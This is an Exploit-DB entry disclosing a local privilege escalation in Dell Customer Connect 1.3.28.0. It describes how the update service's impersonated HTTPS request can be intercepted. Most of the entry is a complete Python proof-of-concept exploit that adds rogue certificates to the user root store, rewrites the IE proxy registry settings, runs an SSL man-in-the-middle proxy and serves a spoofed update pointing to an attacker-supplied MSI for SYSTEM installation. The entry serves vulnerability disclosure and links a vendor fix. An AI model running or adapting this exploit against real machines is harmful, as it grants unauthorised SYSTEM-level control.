Exploit-DB #41917
Description: Dell Customer Connect 1.3.28.0 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2017-04-25
Author: Kacper Szurek

Exploit:
# Exploit Dell Customer Connect 1.3.28.0 Privilege Escalation
# Date: 25.04.2017
# Software Link: http://www.dell.com/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: local
  
1. Description
 
DCCService.exe is running on autostart as System.

This service has auto update functionality.

Basically it periodically checks https://otbs.azurewebsites.net looking for new config file.

Under normal conditions we cannot spoof this connection because it’s SSL.

But here WebUtils.sendWebRequest() is executed using Impersonator.RunImpersonated().

RunImpersonated() executes given function in the context of currently logged in user.

In Windows system we can add any certificate to Local user root store.

Then this certificate is considered as trusted so we can perform MITM attack.

It can be done using simple proxy server because by default .NET HttpWebRequest() uses IE proxy settings (which can by set by any user without administrator priveleges).

https://security.szurek.pl/dell-customer-connect-13280-privilege-escalation.html

2. Proof of Concept

from _winreg import *
from threading import Thread
import os
import subprocess
import hashlib
import SimpleHTTPServer
import SocketServer
import ssl
import httplib
import time

msi_file = "exploit.msi"
cert_file = "otbs.crt"
signing_file = "code.cer"
file_port = 5555
proxy_port = 7777

print "Dell Customer Connect 1.3.28.0 Privilege Escalation"
print "by Kacper Szurek"
print "https://security.szurek.pl/"
print "https://twitter.com/KacperSzurek"

# Simpe SSL proxy based on https://code.google.com/archive/p/proxpy/
class ProxyHandler(SocketServer.StreamRequestHandler):
	def __init__(self, request, client_address, server):
		SocketServer.StreamRequestHandler.__init__(self, request, client_address, server)

	def handle(self):
		global xml
		line = self.rfile.readline()
		for l in self.rfile:
			if l == "\r\n":
				break
			
		if "GET /api/AppConfig" in line:
			conn = httplib.HTTPSConnection(self.host, self.port)
			print "\n[+] Send XML to service"
			self.wfile.write("HTTP/1.1 200 200\r\n\r\n"+xml)
		elif "CONNECT otbs.azurewebsites.net:443" in line:
			socket_ssl = ssl.wrap_socket(self.request, server_side = True, certfile = cert_file, ssl_version = ssl.PROTOCOL_SSLv23, do_handshake_on_connect = False)
			self.request.send("HTTP/1.1 200 Connection Established\r\n\r\n")
			host, port = self.request.getpeername()
			self.host = host
			self.port = port
			while True:
				try:
					socket_ssl.do_handshake()
					break
				except (ssl.SSLError, IOError):
					return
			print "\n[+] SSL Established with otbs.azurewebsites.net"
			self.request = socket_ssl
			self.setup()
			self.handle()

class ThreadedHTTPProxyServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
	pass

def add_to_store(name, file):
	output = subprocess.Popen('certutil -user -addstore "Root" "{}"'.format(file), stdout=subprocess.PIPE).communicate()[0]
	if "\"{}\" already in store".format(name) in output:
		print "[+] Certificate {} already in store".format(name)
	elif "\"{}\" added to store".format(name) in output:
		print "[+] Add certificate {} to user root store".format(name)
	else:
		print "[-] You need to click OK in order to add cert to user root store"
		os._exit(0)


if not os.path.isfile(cert_file):
	print "[-] Missing SSL file"
	os._exit(0)

if not os.path.isfile(signing_file):
	print "[-] Missing code signing file"
	os._exit(0)

add_to_store("otbs.azurewebsites.net", cert_file)
add_to_store("dell inc", signing_file)

def sha256_checksum(filename, block_size=65536):
    sha256 = hashlib.sha256()
    with open(filename, 'rb') as f:
        for block in iter(lambda: f.read(block_size), b''):
            sha256.update(block)
    return sha256.hexdigest()

def file_server():
	Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
	httpd = SocketServer.TCPServer(("", file_port), Handler)
	httpd.serve_forever()

if not os.path.isfile(msi_file):
	print "[-] Missing msi file"
	os._exit(0)

sha256 = sha256_checksum(msi_file)
print "[+] MSI hash: {}".format(sha256)

print "[+] Set Proxy Server in registry"
key = OpenKey(HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Internet Settings', 0, KEY_ALL_ACCESS)
SetValueEx(key, "ProxyServer", 0, REG_SZ, "127.0.0.1:{}".format(proxy_port))
SetValueEx(key, "ProxyEnable", 0, REG_DWORD, 1)
CloseKey(key)

print "[+] Start file server on port {}".format(file_port)
t1 = Thread(target = file_server)
t1.daemon = True
t1.start()

xml = "<UpdateResponse xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"><LatestVersion>9.0.0.6</LatestVersion><UpgradeUrl>http://localhost:{}/{}</UpgradeUrl><UpgradeHash>{}</UpgradeHash><SurveyCheckInterval>1</SurveyCheckInterval></UpdateResponse>".format(file_port, msi_file, sha256)

print "[+] Start proxy server on port {}".format(proxy_port)
proxy_server = ThreadedHTTPProxyServer(("127.0.0.1", proxy_port), ProxyHandler)
t2 = Thread(target = proxy_server.serve_forever)
t2.daemon = True
t2.start()

log_path = r"C:\Users\All Users\Dell\Dell Customer Connect\Logs\{}_install_log.txt".format(msi_file)

print "[+] Waiting for execution ",

while True:
	if os.path.isfile(log_path):
		print "\n[+] Looks like msi file was executed, exiting"
		os._exit(0)
	time.sleep(3)
	print ".",

3. Fix

http://www.dell.com/support/home/us/en/19/Drivers/DriversDetails?driverId=DR53F